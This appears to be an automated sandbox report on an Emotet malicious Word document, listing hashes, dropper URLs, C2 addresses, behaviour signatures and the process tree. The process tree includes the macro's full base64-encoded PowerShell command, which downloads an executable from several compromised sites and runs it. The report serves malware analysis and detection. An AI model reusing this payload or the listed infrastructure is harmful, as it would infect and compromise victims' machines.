Analysis

  • max time kernel
    135s
  • max time network
    136s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    13/08/2020, 19:22

General

  • Target
    emotet_e2_691b99dee2ef914fdd3bf303b640843ff12e10ce1cf0bedf440b8d134ac7ff57_2020-08-13__191953._doc.doc
  • Size 232KB
  • Sample200813-smrdtlhs2s
  • SHA256 691b99dee2ef914fdd3bf303b640843ff12e10ce1cf0bedf440b8d134ac7ff57
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://mezoonline.com/wp-content/g1e6_rf_i/

  • exe.dropper

    http://xuedashuai.xyz/wp-includes/am_mh_09e9aswb/

  • exe.dropper

    http://copyta.com/wp-admin/h33_4u_dmpy/

  • exe.dropper

    https://office.horussolution.com/files/jk31_bx_pr/

  • exe.dropper

    http://football411.net/wp-content/nlz_dqquj_s/

Extracted

Family
  • emotet

C2
  • 24.233.112.152:80

  • 69.30.203.214:8080

  • 192.210.135.126:8080

  • 47.144.21.12:443

  • 157.245.99.39:8080

  • 119.198.40.179:80

  • 62.75.141.82:80

  • 181.211.11.242:80

  • 167.86.90.214:8080

  • 95.213.236.64:8080

  • 87.106.139.101:8080

  • 109.74.5.95:8080

  • 142.105.151.124:443

  • 47.146.117.214:80

  • 185.94.252.104:443

  • 2.58.16.85:7080

  • 222.214.218.37:4143

  • 85.105.205.77:8080

  • 190.160.53.126:80

  • 107.185.211.16:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_691b99dee2ef914fdd3bf303b640843ff12e10ce1cf0bedf440b8d134ac7ff57_2020-08-13__191953._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2920
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABVAEgAUgBJAEgAcQBxAGsAPQAnAEcATgBLAFMASgBqAGcAYgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAARQBjAFUAYABSAGkAYABUAFkAcAByAG8AYABUAG8AQwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABaAFoARwBQAEgAYQBiAHMAIAA9ACAAJwBRAGsAYQB6ACcAOwAkAE0ARABKAEUASwB1AHYAeAA9ACcASABJAFYAWABaAGcAbgBuACcAOwAkAFYAVQBDAEMAVABxAGwAagA9ACQAZQBuAHYAOgB0AGUAbQBwACsAJwBcACcAKwAkAFoAWgBHAFAASABhAGIAcwArACcALgBlAHgAZQAnADsAJABMAEkARABFAFYAdQBoAHEAPQAnAEkARwBLAFEAUgB1AGYAdQAnADsAJABXAEsASQBCAFEAZgB4AGwAPQAmACgAJwBuAGUAdwAnACsAJwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4ARQBUAC4AVwBlAEIAYwBMAEkAZQBuAHQAOwAkAEQAVABHAFkATQBvAGUAawA9ACcAaAB0AHQAcAA6AC8ALwBtAGUAegBvAG8AbgBsAGkAbgBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AZwAxAGUANgBfAHIAZgBfAGkALwAqAGgAdAB0AHAAOgAvAC8AeAB1AGUAZABhAHMAaAB1AGEAaQAuAHgAeQB6AC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AYQBtAF8AbQBoAF8AMAA5AGUAOQBhAHMAdwBiAC8AKgBoAHQAdABwADoALwAvAGMAbwBwAHkAdABhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBoADMAMwBfADQAdQBfAGQAbQBwAHkALwAqAGgAdAB0AHAAcwA6AC8ALwBvAGYAZgBpAGMAZQAuAGgAbwByAHUAcwBzAG8AbAB1AHQAaQBvAG4ALgBjAG8AbQAvAGYAaQBsAGUAcwAvAGoAawAzADEAXwBiAHgAXwBwAHIALwAqAGgAdAB0AHAAOgAvAC8AZgBvAG8AdABiAGEAbABsADQAMQAxAC4AbgBlAHQALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbgBsAHoAXwBkAHEAcQB1AGoAXwBzAC8AJwAuACIAcwBwAGwAYABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABZAEMARgBWAE8AcABuAGYAPQAnAFcATABKAFoATwBjAHkAcAAnADsAZgBvAHIAZQBhAGMAaAAoACQATABGAFQASQBBAHEAcwBoACAAaQBuACAAJABEAFQARwBZAE0AbwBlAGsAKQB7AHQAcgB5AHsAJABXAEsASQBCAFEAZgB4AGwALgAiAEQATwB3AE4AYABMAE8AYQBkAGYAYABpAGAATABlACIAKAAkAEwARgBUAEkAQQBxAHMAaAAsACAAJABWAFUAQwBDAFQAcQBsAGoAKQA7ACQATABIAEgAUABYAHUAeABtAD0AJwBJAFEAUgBCAFMAZgBzAG8AJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABWAFUAQwBDAFQAcQBsAGoAKQAuACIAbABlAGAATgBgAEcAVABIACIAIAAtAGcAZQAgADIAOAA5ADEAMwApACAAewAuACgAJwBJAG4AdgBvACcAKwAnAGsAJwArACcAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABWAFUAQwBDAFQAcQBsAGoAKQA7ACQAUABUAE8AUgBQAHMAawBmAD0AJwBJAFMASABTAEIAYwB0AG0AJwA7AGIAcgBlAGEAawA7ACQASQBFAEwAWQBDAHgAZgBwAD0AJwBVAFQARQBIAFoAcQBzAHoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWABRAFMAVwBNAHAAawBkAD0AJwBBAFkAUABaAFkAdABtAGYAJwA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1884
    • C:\Users\Admin\AppData\Local\Temp\Qkaz.exe
      "C:\Users\Admin\AppData\Local\Temp\Qkaz.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3408
      • C:\Windows\SysWOW64\jscript\iasrecst.exe
        "C:\Windows\SysWOW64\jscript\iasrecst.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:508

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/508-15-0x0000000003E60000-0x0000000003E6C000-memory.dmp

        memory/1884-8-0x0000015FE32C0000-0x0000015FE32C1000-memory.dmp

        memory/1884-6-0x00007FFB49540000-0x00007FFB49F2C000-memory.dmp

        memory/1884-7-0x0000015FE3110000-0x0000015FE3111000-memory.dmp

        memory/2920-4-0x000002000B6C4000-0x000002000B6C9000-memory.dmp

        memory/2920-5-0x000002000B89A000-0x000002000B8A3000-memory.dmp

        memory/2920-0-0x00007FFB51620000-0x00007FFB51CE6000-memory.dmp

        memory/2920-3-0x000002000B6C9000-0x000002000B6DA000-memory.dmp

        memory/2920-2-0x000002000B6C9000-0x000002000B6DA000-memory.dmp

        memory/2920-1-0x000002000B6C9000-0x000002000B6DA000-memory.dmp

        memory/3408-12-0x0000000003FA0000-0x0000000003FAC000-memory.dmp